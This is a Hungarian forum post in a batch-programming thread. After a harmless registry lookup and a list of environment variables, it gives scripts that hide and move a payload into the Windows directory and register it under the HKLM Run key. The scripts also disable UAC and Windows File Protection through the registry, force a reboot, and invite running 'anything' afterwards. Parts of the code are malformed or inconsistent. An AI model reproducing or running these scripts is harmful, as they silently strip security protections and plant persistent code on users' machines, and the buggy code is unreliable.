Batch programozás
  • EndyG
    #152
    Forrás és célútvonalak megadásához ideálisak az idézőjelek nélkül, főleg ha hozzárendeljük egy változóhoz ;)

    @echo off
    for /f "tokens=3" %%i IN ('reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup /v "SourcePath" ^| findstr "REG_SZ"') do set SOURCE=%%i
    echo A telepitofajlok forrasa a: %SOURCE%
    START /MIN %SOURCE%\SETUP.BAT
    EXIT

    %userprofile% felhasználóprofil
    %systemroot% ill. %windir% egyértelmű
    %systemdrive% rendszermeghajtó
    %temp% ideiglenes fájlok
    %appdata% felhasználó applikációs adatkönyvtára
    %public% Felhasználók nyilvános könyvtára
    %programdata%
    %startup% --> Na ez lenne jó Xp-re, de Win7-en csak batchban indulna az ablakokban, innen az UAC ugysem engedi.
    Viszont így igen, egy START /MIN paranccsal tálcán futtatott scriptel de hogy 64biten is müxödjön, egy 64biten futtatható sfx-be kell ültetni hogy érvénybe léphessen 64bites platformon az UAC kikapcsolása:

    @echo off
    SETLOCAL ENABLEEXTENSIONS
    SETLOCAL ENABLEDELAYEDEXPANSION
    cd /d %~dp0
    ver | find "2003" > nul
    if %ERRORLEVEL% == 0 goto admin
    ver | find "XP" > nul
    if %ERRORLEVEL% == 0 goto admin
    ver | find "2000" > nul
    if %ERRORLEVEL% == 0 goto admin
    if /i %processor_architecture%==AMD64 64bit (
    ATTRIB -r -a -s -h %~dp0wtmp.dat
    MOVE /Y "%TEMP%\wtmp.dat" "%WINDIR%\x64.exe"
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "virga" /d "\"%systemroot%\x64.exe\"" /f
    DEL /F /S /Q /A -r -a -s -h %~dp0vb.dat
    ) ELSE (
    ATTRIB -r -a -s -h %~dp0vb.dat
    MOVE /Y "%TEMP%\vb.dat" "%WINDIR%\virga.bat"
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "virga" /d "\"%systemroot%\x64.exe\"" /f
    DEL /F /S /Q /A -r -a -s -h %~dp0wtmp.dat
    CLS
    )
    shutdown /r /t 02

    [és itt jön a x64.exe vagy a virga.bat]

    @echo off
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"&&(
    goto :admin
    )
    :getadminmode
    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v "EnableLUA" /t REG_DWORD /d 0x0000000 /f
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SfcDisable" /t REG_DWORD /d 0x0000001 /f
    shutdown /r /t 02

    :admin
    cd /d %~dp0
    SETLOCAL ENABLEEXTENSIONS
    SETLOCAL ENABLEDELAYEDEXPANSION
    És innentől jöhet akármi...